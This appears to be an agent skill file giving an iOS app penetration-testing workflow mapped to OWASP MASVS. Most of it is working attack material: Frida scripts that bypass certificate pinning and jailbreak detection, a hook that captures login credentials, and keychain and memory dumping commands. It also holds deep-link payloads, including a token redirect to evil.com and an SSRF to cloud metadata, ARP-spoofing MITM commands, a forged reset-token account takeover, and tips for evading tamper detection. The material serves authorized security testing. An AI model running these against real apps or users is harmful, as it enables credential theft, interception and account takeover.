---
name: rt-exploit-ios
description: "iOS application security testing skill (OWASP MASVS full). Covers IPA extraction from jailbroken device, binary analysis with class-dump and jtool2, dynamic analysis with Frida and Objection, SSL pinning bypass, Keychain extraction, ATS (App Transport Security) misconfiguration, URL scheme exploitation (deep links), and background data leakage. Tools: frida-ios-dump, objection, class-dump, idb."
---

# rt-exploit-ios — iOS Application Security Testing

## 1. Overview and When to Use

This skill covers end-to-end iOS application penetration testing aligned with OWASP MASVS (Mobile Application Security Verification Standard) and OWASP MSTG. It is used when a client's engagement scope includes iOS mobile applications distributed via the App Store, TestFlight, or enterprise MDM.

**Use this skill when:**
- A mobile application is in scope and runs on iOS (iPhone/iPad)
- The engagement requires static binary analysis of a compiled IPA
- Dynamic runtime manipulation is needed (hooking, tracing, patching)
- SSL/TLS pinning prevents traffic interception with a proxy
- Keychain and local data storage security must be assessed
- Deep link / URL scheme abuse is a threat vector
- The app handles sensitive data (PII, tokens, credentials, biometrics)

**Engagement types:** black-box, grey-box, white-box, red team, DAST/SAST hybrid

---

## 2. Prerequisites and Setup

### 2.1 Hardware and Device Requirements

| Requirement | Details |
|---|---|
| Jailbroken iPhone/iPad | iOS 14–17 supported via palera1n, checkra1n, or unc0ver |
| macOS workstation (preferred) | Required for Xcode CLI tools, ideviceinstaller, libimobiledevice |
| USB cable | Lightning or USB-C for device trust pairing |
| Wi-Fi on same subnet | Required for Frida over TCP and Burp proxy |

### 2.2 Jailbreak Setup

```bash
# palera1n (semi-tethered, A8–A11, iOS 15–16)
# Boot from Mac:
palera1n -l   # tethered boot
palera1n      # standard semi-tethered

# After jailbreak — install from Sileo/Cydia:
# - OpenSSH
# - Frida (from https://build.frida.re)
# - AppSync Unified (for IPA sideloading without signing)
# - com.ericasadun.utilities (optional shell tools)
# - Filza (file manager — useful for manual inspection)
```

### 2.3 Workstation Toolchain Installation

```bash
# Python environment
pip3 install frida-tools objection

# libimobiledevice (device communication)
brew install libimobiledevice ideviceinstaller

# class-dump (Objective-C header extraction)
brew install class-dump
# Or download binary: https://github.com/nygard/class-dump

# jtool2 (binary analysis, code signing, entitlements)
# Download from: http://www.newosxbook.com/tools/jtool.html
chmod +x jtool2 && sudo mv jtool2 /usr/local/bin/

# frida-ios-dump (IPA decryption and extraction)
git clone https://github.com/AloneMonkey/frida-ios-dump
cd frida-ios-dump && pip3 install -r requirements.txt

# idb (Meta's iOS debugging tool)
pip3 install idb-companion
brew install idb-companion

# Burp Suite Community/Pro (proxy)
# Download from: https://portswigger.net/burp

# Hopper Disassembler or Ghidra (optional, binary RE)
# Ghidra: https://ghidra-sre.org/
```

### 2.4 Device SSH and Frida Setup

```bash
# Connect device over USB and get IP
ideviceinfo | grep WiFiAddress

# SSH into device (default password: alpine)
ssh root@<device-ip>
# Or over USB using iproxy:
iproxy 2222 22 &
ssh root@localhost -p 2222

# Verify Frida is running on device
frida-ps -U          # list processes over USB
frida-ps -H <ip>     # list processes over network

# Start frida-server manually if not running
# On device:
/usr/sbin/frida-server &
```

### 2.5 Burp Suite Proxy Configuration

```bash
# On workstation — set Burp to listen on all interfaces: 0.0.0.0:8080
# On iOS device — Settings > Wi-Fi > (your network) > Configure Proxy > Manual
# Set proxy host = workstation IP, port = 8080

# Install Burp CA certificate on device:
# Navigate to http://burp in Safari > download .der cert
# Settings > General > VPN & Device Management > install profile
# Settings > General > About > Certificate Trust Settings > Enable full trust
```

---

## 3. Skill Levels

### BEGINNER — Reconnaissance and Static Triage

```bash
# List installed apps on device
frida-ps -Ua            # -U = USB, -a = applications only

# Get bundle ID of target app
ideviceinstaller -l     # list installed apps with bundle IDs

# Basic binary inspection
file <AppName.app>/<BinaryName>
otool -L <Binary>       # list linked libraries
otool -hv <Binary>      # Mach-O header info

# Check if binary has PIE, stack canary, ARC
otool -Iv <Binary> | grep -E "stack_chk|PIE"
checksec --file=<Binary>   # if checksec installed
```

### INTERMEDIATE — Decryption, Headers, and Proxy

```bash
# Decrypt and dump IPA from device
python3 frida-ios-dump/dump.py -o dumped.ipa com.target.app

# Extract IPA and run class-dump
unzip dumped.ipa -d extracted_ipa
class-dump -H extracted_ipa/Payload/AppName.app/AppName -o headers/

# Browse headers for secrets, endpoints, auth logic
grep -ri "password\|secret\|token\|api_key\|http://" headers/

# Inspect Info.plist for ATS config
plutil -p extracted_ipa/Payload/AppName.app/Info.plist | grep -A5 NSAppTransportSecurity
plutil -p extracted_ipa/Payload/AppName.app/Info.plist | grep NSAllowsArbitraryLoads

# Intercept traffic through Burp
# Launch app with objection to verify proxy works
objection -g com.target.app explore
```

### ADVANCED — Dynamic Hooking and Keychain

```bash
# Objection keychain dump
objection -g com.target.app explore
ios keychain dump          # dump all keychain entries
ios keychain dump --json   # output as JSON

# File system inspection
ios files ls --json /
ios files download /var/mobile/Containers/Data/Application/<UUID>/Documents/

# SSL pinning bypass — automatic
ios sslpinning disable     # objection built-in bypass

# Frida SSL pinning bypass script
frida -U -f com.target.app --codeshare "akabe1/frida-ios-ssl-kill-switch" --no-pause

# Trace all Objective-C method calls from a class
frida-trace -U -m "*[NetworkManager *]" com.target.app

# Hook a specific method to read arguments
frida -U -l hook_login.js com.target.app
```

### EXPERT — Custom Hooks, Deep Links, Binary Patching

```bash
# Custom Frida script — hook and modify return value
frida -U -l custom_bypass.js -f com.target.app --no-pause

# Deep link fuzzing
# Trigger URL scheme from another app or via xcrun:
xcrun simctl openurl booted "targetapp://admin?user=../../etc/passwd"
# On real device via Safari URL bar or Shortcuts app

# Trace deep link handler
frida-trace -U -m "*[AppDelegate application:openURL:options:]" com.target.app
frida-trace -U -m "*[SceneDelegate scene:openURLContexts:]" com.target.app

# Binary patch to disable jailbreak detection
# Identify check with class-dump or Hopper, patch bytes:
jtool2 --sign --ent entitlements.plist --inplace patched_binary
# Or use Frida to hook and return false:
# Interceptor.attach(ObjC.classes.JailbreakDetector["- isJailbroken"].implementation, ...)

# Memory dump for credential extraction
# Use Fridump:
python3 fridump3.py -u com.target.app -s
strings dump/* | grep -E "password|token|Bearer|eyJ"
```

---

## 4. Step-by-Step Numbered Workflow

### Phase 1 — Reconnaissance and App Acquisition

1. Confirm bundle ID with `frida-ps -Ua` or `ideviceinstaller -l`
2. Record app version, last update date, privacy policy URL from App Store listing
3. Download IPA via Apple Configurator 2 (paid apps) or install from TestFlight/MDM
4. If app is from App Store and encrypted — decrypt using `frida-ios-dump`

### Phase 2 — IPA Extraction and Static Analysis

5. Run `frida-ios-dump` against the running app on device:
   ```bash
   python3 dump.py -o target.ipa com.target.app
   ```
6. Unzip IPA and locate binary inside `Payload/<App>.app/`
7. Run `class-dump` to extract all Objective-C headers
8. For Swift classes — use `nm <binary> | swift-demangle` or Hopper
9. Search headers and strings for hardcoded secrets:
   ```bash
   strings <binary> | grep -Ei "api[_-]?key|secret|password|bearer|http://"
   ```
10. Check `Info.plist` for:
    - `NSAllowsArbitraryLoads` (ATS disabled)
    - `CFBundleURLTypes` (registered URL schemes)
    - `NSLocationWhenInUseUsageDescription` and other permission strings
    - `NSFaceIDUsageDescription` (biometric usage)
11. Check binary protections:
    ```bash
    otool -Iv <binary> | grep stack_chk   # stack canary
    otool -hv <binary> | grep PIE         # ASLR
    jtool2 --sig <binary>                  # code signing info
    jtool2 --ent <binary>                  # entitlements
    ```

### Phase 3 — Dynamic Analysis Setup

12. Start Burp Suite, configure iOS device to proxy through Burp
13. Install Burp CA on device and enable full trust
14. Launch app and browse — capture baseline traffic in Burp
15. Note any certificate pinning errors (connection refused, SSL handshake failure)
16. Attach objection to running app:
    ```bash
    objection -g com.target.app explore
    ```

### Phase 4 — SSL Pinning Bypass

17. Attempt built-in objection bypass:
    ```bash
    ios sslpinning disable
    ```
18. If insufficient — use Frida SSL Kill Switch 2:
    ```bash
    frida -U -f com.target.app --codeshare "akabe1/frida-ios-ssl-kill-switch" --no-pause
    ```
19. If pinning uses custom `URLSession` delegate — trace and hook:
    ```bash
    frida-trace -U -m "*[* URLSession:didReceiveChallenge:completionHandler:]" com.target.app
    ```
20. If certificate pinning uses `SecTrustEvaluate` at C level — use TrustKit bypass script

### Phase 5 — Keychain and Local Storage

21. Dump keychain from objection:
    ```bash
    ios keychain dump --json > keychain_dump.json
    ```
22. Check SQLite databases:
    ```bash
    ios files ls /var/mobile/Containers/Data/Application/<UUID>/Library/
    ios files download /var/mobile/Containers/Data/Application/<UUID>/Library/Databases/
    sqlite3 app.sqlite ".tables"
    sqlite3 app.sqlite "SELECT * FROM users;"
    ```
23. Check UserDefaults (plist files):
    ```bash
    ios plist cat /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.target.app.plist
    ```
24. Check for unencrypted files with sensitive data:
    ```bash
    ios files ls --json /var/mobile/Containers/Data/Application/<UUID>/Documents/
    ```
25. Inspect CoreData store if present (`.sqlite` or `.momd`)

### Phase 6 — Deep Link and URL Scheme Testing

26. List registered URL schemes from `Info.plist`:
    ```bash
    plutil -p Info.plist | grep -A3 CFBundleURLSchemes
    ```
27. Trigger URL schemes from Safari or device terminal:
    ```bash
    # Via SSH on device:
    open "targetapp://reset-password?token=AAAA&email=attacker@evil.com"
    # Via xcrun on Mac (simulator):
    xcrun simctl openurl booted "targetapp://admin/panel"
    ```
28. Trace URL scheme handler with Frida:
    ```bash
    frida-trace -U -m "*[AppDelegate application:openURL:options:]" com.target.app
    frida-trace -U -m "*[* handleDeepLink*]" com.target.app
    ```
29. Test for parameter injection — path traversal, open redirect, parameter pollution
30. Test Universal Links — check `apple-app-site-association` on server:
    ```bash
    curl https://target.com/.well-known/apple-app-site-association | python3 -m json.tool
    ```

### Phase 7 — Background Data Leakage

31. Put app in background and check screenshot cache:
    ```bash
    # On device via SSH:
    ls /var/mobile/Containers/Data/Application/<UUID>/Library/SplashBoard/Snapshots/
    ```
32. Verify app clears sensitive UI before backgrounding (MSTG-STORAGE-9)
33. Check Pasteboard for sensitive data:
    ```bash
    # Frida hook UIPasteboard
    frida -U -l pasteboard_monitor.js com.target.app
    ```

### Phase 8 — Jailbreak Detection Bypass

34. Check if app detects jailbreak on launch — test on jailbroken device without bypass
35. Apply objection bypass:
    ```bash
    ios jailbreak disable
    ```
36. If detection is custom — identify with class-dump, hook with Frida
37. Document which checks are present (file existence, dyld checks, sandbox escape, fork)

### Phase 9 — Reporting

38. Capture all findings with screenshots, Frida output logs, Burp exports
39. Map each finding to OWASP MASVS control (M1–M10) and CVSS score
40. Document reproduction steps as numbered command sequences

---

## 5. Actual Working Terminal Commands

### IPA Decryption

```bash
# Connect device over USB, ensure Frida server is running on device
frida-ps -U | grep -i "target"

# Decrypt and pull IPA (replace bundle ID)
cd frida-ios-dump
python3 dump.py com.target.bundleid -o /tmp/target_decrypted.ipa

# If app crashes during dump (background memory pressure):
python3 dump.py -H <device-ip> -p 27042 com.target.bundleid -o /tmp/target_decrypted.ipa
```

### Class-Dump Header Extraction

```bash
# Unzip IPA
unzip /tmp/target_decrypted.ipa -d /tmp/target_extracted/

# Run class-dump on binary
class-dump -H /tmp/target_extracted/Payload/AppName.app/AppName \
  -o /tmp/target_headers/

# List all headers
ls /tmp/target_headers/

# Search headers for authentication logic
grep -rl "authenticate\|login\|password\|token\|secret" /tmp/target_headers/

# Grep for hardcoded strings inside binary
strings /tmp/target_extracted/Payload/AppName.app/AppName \
  | grep -Ei "(http|https)://[^/]+" \
  | sort -u

# Demangle Swift symbols
nm /tmp/target_extracted/Payload/AppName.app/AppName \
  | grep " T " \
  | cut -d' ' -f3 \
  | swift-demangle \
  | grep -i "auth\|login\|network"
```

### Objection iOS Commands

```bash
# Attach to running app
objection -g com.target.bundleid explore

# --- Inside objection shell ---

# Environment info
env

# List keychain entries
ios keychain dump
ios keychain dump --json

# File system
ios files ls /
ios files ls /var/mobile/Containers/Data/Application/
ios files download /path/to/file.db

# UserDefaults
ios nsuserdefaults get

# Pasteboard
ios pasteboard monitor

# SSL pinning
ios sslpinning disable

# Jailbreak detection bypass
ios jailbreak disable

# Biometric bypass
ios ui biometrics_bypass

# Hook all methods of a class
ios hooking watch class NSURLSession
ios hooking watch class NetworkManager

# List all classes
ios hooking list classes | grep -i "auth\|network\|crypto"

# List methods of a class
ios hooking list class_methods NSURLSession

# Hook specific method and print args
ios hooking watch method "-[LoginViewController loginWithUsername:password:]" --dump-args

# Search for instances
ios hooking get_instances NSString

# Dump memory
memory dump all /tmp/memdump.bin
memory dump from_base 0x100000000 1024 /tmp/segment.bin

# Search memory for string
memory search "password" --string

# Sqlite
sqlite connect /path/to/database.sqlite
sqlite execute query "SELECT * FROM users"
```

### Keychain Dump Full Commands

```bash
# Dump via objection (most reliable)
objection -g com.target.bundleid explore --startup-command "ios keychain dump --json" \
  > keychain_output.json 2>&1

# Dump via Frida script (all apps, requires jailbreak)
frida -U -l keychain_dump_all.js -f com.target.bundleid --no-pause

# On device via SSH — use keychain-dumper binary:
# Install keychain-dumper on device:
scp keychain-dumper root@<ip>:/tmp/
ssh root@<ip> "chmod +x /tmp/keychain-dumper && /tmp/keychain-dumper"
# Source: https://github.com/ptoomey3/Keychain-Dumper

# Filter for target app's keychain group
/tmp/keychain-dumper | grep -A5 "com.target.bundleid"
```

### SSL Pinning Bypass

```bash
# Method 1 — objection (covers NSURLSession, NSURLConnection, Alamofire, TrustKit)
objection -g com.target.bundleid explore
ios sslpinning disable

# Method 2 — SSL Kill Switch 2 (Codeshare)
frida -U -f com.target.bundleid \
  --codeshare "akabe1/frida-ios-ssl-kill-switch" \
  --no-pause

# Method 3 — manual script for custom pinning
frida -U -l ssl_bypass_custom.js com.target.bundleid

# Method 4 — patch binary (permanent, no Frida needed)
# Find SecTrustEvaluate call in Hopper/Binary Ninja
# NOP or patch branch to always return kSecTrustResultProceed

# Verify bypass worked — check Burp for traffic
# If still failing, check for:
# - Certificate Transparency pinning
# - Public key pinning (not just cert pinning)
# - Custom TLS stack (BoringSSL, custom C code)

# For Alamofire/SwiftNIO pinning:
frida -U -l alamofire_bypass.js com.target.bundleid
```

### Deep Link Testing Commands

```bash
# List URL schemes from Info.plist
unzip -p target.ipa Payload/AppName.app/Info.plist | plutil -p - | grep -A10 CFBundleURLTypes

# Trigger URL scheme on device via SSH
ssh root@<device-ip>
open "targetapp://dashboard"
open "targetapp://reset?token=test123"
open "targetapp://admin"

# Trigger from Mac via xcrun (simulator)
xcrun simctl openurl booted "targetapp://user/profile?id=1"

# Fuzz URL scheme parameters
for path in admin dashboard settings user/1 user/../../etc/passwd; do
  open "targetapp://$path"
  sleep 1
done

# Trace deep link handling in real time
frida-trace -U \
  -m "*[AppDelegate application:openURL:options:]" \
  -m "*[AppDelegate application:continueUserActivity:restorationHandler:]" \
  -m "*[SceneDelegate scene:openURLContexts:]" \
  com.target.bundleid

# Check Universal Links server config
curl -s https://target.com/.well-known/apple-app-site-association | python3 -m json.tool
curl -s https://target.com/apple-app-site-association | python3 -m json.tool

# Test Universal Link handling
# Send iMessage or email with target universal link and tap it on device
```

---

## 6. Payload Examples with Explanations

### 6.1 Frida Hook — Return Value Manipulation

```javascript
// hook_bypass.js
// Hooks isJailbroken method and forces it to return false
// Usage: frida -U -l hook_bypass.js com.target.app

if (ObjC.available) {
  // Target Objective-C jailbreak check
  var JailbreakClass = ObjC.classes["JailbreakDetection"];
  if (JailbreakClass) {
    var isJailbroken = JailbreakClass["- isJailbroken"];
    Interceptor.attach(isJailbroken.implementation, {
      onLeave: function(retval) {
        retval.replace(0);  // 0 = NO (false) in Objective-C BOOL
        console.log("[*] isJailbroken bypassed — returned false");
      }
    });
  }

  // Target Swift jailbreak check by symbol name
  var symbols = Module.enumerateSymbolsSync("AppName");
  symbols.forEach(function(sym) {
    if (sym.name.indexOf("isJailbroken") !== -1 ||
        sym.name.indexOf("JailbreakCheck") !== -1) {
      console.log("[*] Found symbol: " + sym.name + " @ " + sym.address);
      Interceptor.attach(sym.address, {
        onLeave: function(retval) {
          retval.replace(0);
          console.log("[*] Patched: " + sym.name);
        }
      });
    }
  });
}
```

### 6.2 Frida Hook — SSL Pinning Bypass (Custom)

```javascript
// ssl_bypass_custom.js
// Patches SecTrustEvaluateWithError at C level
// Covers cases where objection's built-in bypass fails

var SecTrustEvaluateWithError = Module.findExportByName(
  "Security", "SecTrustEvaluateWithError"
);

if (SecTrustEvaluateWithError) {
  Interceptor.replace(SecTrustEvaluateWithError, new NativeCallback(
    function(trust, error) {
      // Write NULL to error pointer so caller sees no error
      if (!error.isNull()) {
        Memory.writePointer(error, NULL);
      }
      return 1;  // kSecTrustResultProceed = 1
    },
    'bool', ['pointer', 'pointer']
  ));
  console.log("[*] SecTrustEvaluateWithError patched");
}

// Also patch legacy SecTrustEvaluate
var SecTrustEvaluate = Module.findExportByName("Security", "SecTrustEvaluate");
if (SecTrustEvaluate) {
  Interceptor.replace(SecTrustEvaluate, new NativeCallback(
    function(trust, result) {
      // kSecTrustResultProceed = 1
      Memory.writeU32(result, 1);
      return 0;  // errSecSuccess
    },
    'int', ['pointer', 'pointer']
  ));
  console.log("[*] SecTrustEvaluate patched");
}
```

### 6.3 Frida Hook — Credential Interception

```javascript
// credential_hook.js
// Intercepts login credentials before they are sent to the network
// Usage: frida -U -l credential_hook.js com.target.app

if (ObjC.available) {
  // Hook NSURLSession dataTaskWithRequest
  var NSURLSession = ObjC.classes.NSURLSession;
  var dataTask = NSURLSession["- dataTaskWithRequest:completionHandler:"];

  Interceptor.attach(dataTask.implementation, {
    onEnter: function(args) {
      var request = ObjC.Object(args[2]);
      var url = request.URL().toString();
      var method = request.HTTPMethod().toString();
      var body = request.HTTPBody();

      if (url.indexOf("login") !== -1 || url.indexOf("auth") !== -1) {
        console.log("\n[CREDENTIAL CAPTURE]");
        console.log("URL: " + url);
        console.log("Method: " + method);

        if (body) {
          var bodyStr = ObjC.classes.NSString.alloc()
            .initWithData_encoding_(body, 4);  // NSUTF8StringEncoding = 4
          console.log("Body: " + bodyStr.toString());
        }

        // Dump headers
        var headers = request.allHTTPHeaderFields();
        if (headers) {
          console.log("Headers: " + headers.toString());
        }
      }
    }
  });
}
```

### 6.4 Deep Link Payload Examples

```
# Path traversal in deep link parameter
targetapp://profile?redirect=../../settings/admin

# Open redirect via deep link
targetapp://auth/callback?next=https://evil.com/steal?token=

# Token injection via reset link
targetapp://reset-password?token=AAAA&email=victim@corp.com

# IDOR via user ID parameter
targetapp://user/view?id=1
targetapp://user/view?id=2   # try incrementing

# JavaScript injection if WebView renders deep link content
targetapp://help?topic=<script>alert(1)</script>

# SSRF via URL parameter
targetapp://fetch?url=http://169.254.169.254/latest/meta-data/

# Command injection attempt in path
targetapp://search?q=test;id
```

### 6.5 ATS Misconfiguration Payload

```bash
# Check if app allows HTTP (insecure) connections
# In Info.plist — dangerous configuration:
# NSAppTransportSecurity > NSAllowsArbitraryLoads = true

# Test by intercepting HTTP traffic in Burp
# Look for auth tokens, API keys sent over plain HTTP

# Downgrade attack — if ATS disabled, MITM HTTP:
arpspoof -i en0 -t <device-ip> <gateway-ip> &
mitmproxy --mode transparent --showhost
```

---

## 7. Tool Commands with Flags Explained

### frida-ios-dump

```bash
python3 dump.py \
  -H 192.168.1.100 \   # device IP (use -U for USB)
  -p 27042 \           # frida-server port (default 27042)
  -u root \            # SSH username
  -P alpine \          # SSH password
  com.target.bundleid \ # bundle identifier
  -o /tmp/decrypted.ipa # output IPA file path

# Flags:
# -U               Use USB device (no -H needed)
# -H <host>        Device IP for network connection
# -p <port>        Frida server port
# -u <user>        SSH user on device
# -P <pass>        SSH password
# -o <file>        Output IPA path
```

### class-dump

```bash
class-dump \
  -H \                # Output one file per class (creates directory)
  -o headers/ \       # Output directory for headers
  --arch arm64 \      # Target architecture (arm64 for modern iOS)
  AppBinary           # Input binary path

# Flags:
# -H               Generate separate header files per class
# -o <dir>         Output directory
# --arch <arch>    Specify architecture slice (arm64, arm64e)
# -A               Show instance variable offsets
# -I               Sort classes, protocols, and categories
```

### jtool2

```bash
# Show Mach-O header
jtool2 -h AppBinary

# List load commands
jtool2 -l AppBinary

# Show entitlements (capabilities, keychain groups)
jtool2 --ent AppBinary

# Show code signature info
jtool2 --sig AppBinary

# Disassemble function
jtool2 -d __TEXT.__text -s _main AppBinary

# List shared libraries
jtool2 -L AppBinary

# Show strings in binary
jtool2 --strings AppBinary

# Flags:
# -h               Show Mach-O header
# -l               List load commands
# -L               List linked libraries
# --ent            Print entitlements plist
# --sig            Print code signature details
# --strings        Extract strings
# -d <seg.sect>    Disassemble section
# -s <symbol>      Start disassembly at symbol
# -arch arm64      Target architecture
```

### frida-trace

```bash
# Trace all methods of a class
frida-trace -U \
  -m "*[NetworkManager *]" \   # match any method in NetworkManager
  com.target.bundleid

# Trace specific method
frida-trace -U \
  -m "*[LoginVC loginWithUser:pass:]" \
  com.target.bundleid

# Trace C function
frida-trace -U \
  -i "SecTrustEvaluate" \      # -i matches C/native imports
  com.target.bundleid

# Trace with auto-generated handler to print args
# Frida creates __handlers__/ directory with JS files you can edit

# Flags:
# -U               USB device
# -H <host>        Network device
# -m <pattern>     ObjC method pattern (* = wildcard)
# -i <pattern>     C function import pattern
# -f <app>         Spawn app and trace from start
# --no-pause       Don't pause after spawn
```

### objection

```bash
# Launch and attach
objection -g com.target.bundleid explore

# Inject at spawn (before app code runs — needed for early pinning bypass)
objection -g com.target.bundleid explore \
  --startup-command "ios sslpinning disable"

# Non-interactive mode (run command and exit)
objection -g com.target.bundleid run "ios keychain dump --json"

# Flags:
# -g <bundle-id>           Target app by bundle identifier
# -G <gadget-path>         Use custom Frida gadget
# --startup-command <cmd>  Run objection command at startup
# run <cmd>                Execute single command non-interactively
# explore                  Enter interactive shell
```

### idb (Meta's iOS Debugging Bridge)

```bash
# Start companion on device (via Homebrew install)
idb_companion --udid <device-udid>

# List targets
idb list-targets

# List apps
idb list-apps --udid <udid>

# Launch app
idb launch --udid <udid> com.target.bundleid

# File operations
idb file ls --udid <udid> --bundle-id com.target.bundleid /
idb file pull --udid <udid> --bundle-id com.target.bundleid /Documents/data.db ./

# Log streaming
idb log --udid <udid>

# Run UI test
idb ui tap --udid <udid> 100 200
```

---

## 8. Real-World Attack Scenarios

### Scenario 1 — Banking App Credential Theft via SSL Pinning Bypass

**Target:** Mobile banking app for a regional bank
**Objective:** Demonstrate that SSL pinning can be bypassed to intercept credentials and session tokens

**Step 1 — Initial recon**
```bash
frida-ps -Ua | grep -i "bank"
# Output: 1234  BankApp  com.regionalbank.ios
```

**Step 2 — Decrypt IPA and analyze**
```bash
python3 dump.py com.regionalbank.ios -o bank_decrypted.ipa
unzip bank_decrypted.ipa -d bank_extracted/
class-dump -H bank_extracted/Payload/BankApp.app/BankApp -o bank_headers/
grep -rl "pinning\|certificate\|TrustKit" bank_headers/
```

**Step 3 — Attempt basic bypass**
```bash
objection -g com.regionalbank.ios explore --startup-command "ios sslpinning disable"
# Result: TrustKit detected — basic bypass insufficient
```

**Step 4 — TrustKit-specific bypass**
```javascript
// trustkit_bypass.js
var TrustKit = ObjC.classes.TKPinningValidator;
if (TrustKit) {
  var evaluateTrust = TrustKit["+ evaluateTrust:forHostname:"];
  Interceptor.attach(evaluateTrust.implementation, {
    onLeave: function(retval) {
      retval.replace(0);  // TSKTrustDecisionShouldAllowConnection = 0
      console.log("[*] TrustKit bypassed");
    }
  });
}
```
```bash
frida -U -l trustkit_bypass.js -f com.regionalbank.ios --no-pause
```

**Step 5 — Capture traffic**
- All API calls now visible in Burp
- Captured: `POST /api/v2/auth/login` with `{"username":"user@bank.com","password":"Passw0rd!"}`
- Captured: Bearer token in response — valid for 24 hours with no device binding

**Impact:** Attacker on same Wi-Fi network with MITM position could steal credentials. Session token has no device binding — can be replayed from any location.

---

### Scenario 2 — Insecure Deep Link Leads to Account Takeover

**Target:** E-commerce app with password reset via deep link
**Objective:** Demonstrate token predictability and missing validation in deep link handler

**Step 1 — Identify URL scheme**
```bash
plutil -p Info.plist | grep -A5 CFBundleURLSchemes
# Output: shopapp
```

**Step 2 — Trace deep link handler**
```bash
frida-trace -U \
  -m "*[AppDelegate application:openURL:options:]" \
  com.shopapp.ios &

# Trigger reset flow in app — receive deep link via email:
# shopapp://reset?token=BASE64TOKEN&email=test@test.com
```

**Step 3 — Analyze token**
```bash
# Token observed: dXNlcl9pZD0xMjM0JnRpbWVzdGFtcD0xNzE3MDAwMDAwCg==
echo "dXNlcl9pZD0xMjM0JnRpbWVzdGFtcD0xNzE3MDAwMDAwCg==" | base64 -d
# Output: user_id=1234&timestamp=1717000000
```

**Step 4 — Forge token for victim**
```bash
echo -n "user_id=5678&timestamp=1717000000" | base64
# Output: dXNlcl9pZD01Njc4JnRpbWVzdGFtcD0xNzE3MDAwMDAwCg==

# Trigger reset for victim user from device:
open "shopapp://reset?token=dXNlcl9pZD01Njc4JnRpbWVzdGFtcD0xNzE3MDAwMDAwCg==&email=victim@corp.com"
```

**Step 5 — Account takeover**
- App accepts forged token, allows password reset for victim account
- No HMAC signature, no expiry validation, predictable structure

**Impact:** Full account takeover of any user by knowing their user ID (enumerable from other API calls).

---

### Scenario 3 — Keychain Data Exposure After Device Transfer

**Target:** Healthcare app storing patient records
**Objective:** Demonstrate that keychain items are accessible without user authentication on a jailbroken device and survive app deletion

**Step 1 — Dump keychain**
```bash
objection -g com.healthcare.app explore
ios keychain dump --json > /tmp/keychain_findings.json
cat /tmp/keychain_findings.json
```

**Step 2 — Analyze keychain accessibility**
```json
{
  "item": "authToken",
  "value": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
  "accessibility": "kSecAttrAccessibleAlways",
  "synchronized": true,
  "account": "patient_user@hospital.com"
}
```

**Step 3 — Key finding**
- `kSecAttrAccessibleAlways` — item accessible even when device is locked
- `synchronized: true` — item synced to iCloud Keychain (leaves device)
- Token survives app deletion — recoverable from backup or iCloud

**Step 4 — iCloud Keychain leak**
```bash
# If iCloud backup enabled — keychain items extractable from encrypted backup:
# Use iMazing or similar to decrypt backup and extract keychain DB
idevicebackup2 backup --full /tmp/backup/
# Then use keychain-dumper or KeePassKit to parse backup keychain
```

**Impact:** Patient PHI token accessible from any device logged into same Apple ID, accessible when device locked, persists after app uninstall. Violates HIPAA and MASVS-STORAGE-1.

---

## 9. Detection and OPSEC Considerations

### 9.1 Anti-Jailbreak Detection Mechanisms to Bypass

Apps may detect testing environment via:

| Detection Method | Bypass Technique |
|---|---|
| File existence check (`/Applications/Cydia.app`) | Hook `NSFileManager fileExistsAtPath:` — return NO |
| `fork()` / `posix_spawn()` call succeeds | Hook at C level — return -1 |
| Sandbox escape test (write to `/`) | Hook `fopen` / `open` — return error |
| Dyld shared library check (`MobileSubstrate`) | Hook `_dyld_get_image_name` |
| Frida detection via port scan (27042) | Use custom Frida gadget on non-default port |
| Frida detection via process name | Rename frida-server binary |
| Anti-debug (`ptrace` check) | Hook ptrace — return 0 |
| Integrity check on own binary | Hook `CC_MD5` / hash functions |

```bash
# Rename frida-server to evade name detection
ssh root@<ip>
mv /usr/sbin/frida-server /usr/sbin/fs_daemon
/usr/sbin/fs_daemon -D &

# Connect on default port (still 27042 unless changed)
frida -U -f com.target.app
```

### 9.2 OPSEC for Engagement Activities

- Use a dedicated test iPhone — not personal device
- Factory reset device between engagements to avoid cross-contamination
- All credentials and tokens captured must be logged and deleted post-engagement
- Keychain dumps contain real user data — treat as sensitive evidence
- Never upload app binaries to public disassembly services (objection.is, etc.)
- Use VPN or isolated network for all testing activity
- Document all commands run with timestamps for engagement log

### 9.3 Detection Artifacts on Device

Activities that leave forensic traces on device:
- SSH auth logs: `/var/log/auth.log`
- Frida server creates `/tmp/frida-*` temp files
- `objection` writes `.objection/` directory to CWD on workstation
- Modified binaries retain patched bytes (check `jtool2 --sig`)
- Keychain reads are logged by iOS subsystem (visible in Console.app)

### 9.4 Avoiding Detection by App-Level Monitoring

Some apps use runtime integrity monitoring or send telemetry when tampering is detected:

```bash
# Intercept outgoing analytics calls to identify telemetry endpoints
frida-trace -U -m "*[Analytics *]" -m "*[Telemetry *]" com.target.app

# Block telemetry calls if needed
# Hook the telemetry class's send method and return early
```

---

## 10. Output and Documentation

### 10.1 Evidence Collection Checklist

```
[ ] IPA file (decrypted) — stored securely
[ ] class-dump headers directory
[ ] Burp Suite project file (.burp) with all captured traffic
[ ] Keychain dump JSON
[ ] SQLite database files
[ ] UserDefaults plist files
[ ] Frida trace output logs
[ ] Screenshots of UI vulnerabilities
[ ] Objection session log
[ ] Info.plist copy
[ ] Binary protection report (otool/jtool2 output)
[ ] Deep link test results
[ ] ATS configuration findings
```

### 10.2 Folder Structure for Evidence

```
engagement/
  target-ios/
    static/
      target_decrypted.ipa
      headers/             # class-dump output
      strings.txt          # extracted strings
      info_plist.txt       # plutil output
      binary_protections.txt
    dynamic/
      keychain_dump.json
      userdefaults.plist
      databases/           # SQLite files
      frida_traces/        # frida-trace logs
      burp_project.burp    # full Burp session
    screenshots/
    notes.md
```

### 10.3 OWASP MASVS Mapping

| Finding | MASVS Control | Severity |
|---|---|---|
| Hardcoded API key in binary | MASVS-CODE-2 | High |
| SSL pinning bypassable | MASVS-NETWORK-2 | High |
| Keychain item with kSecAttrAccessibleAlways | MASVS-STORAGE-1 | High |
| ATS disabled (NSAllowsArbitraryLoads) | MASVS-NETWORK-1 | High |
| Deep link missing token validation | MASVS-PLATFORM-1 | Critical |
| Sensitive data in background screenshot | MASVS-STORAGE-9 | Medium |
| No jailbreak detection | MASVS-RESILIENCE-1 | Medium |
| Sensitive data in UserDefaults | MASVS-STORAGE-2 | Medium |
| Debug symbols in release binary | MASVS-CODE-3 | Low |

### 10.4 Sample Finding Write-Up Template

```markdown
## Finding: SSL Certificate Pinning Bypass

**Severity:** High
**MASVS:** MASVS-NETWORK-2
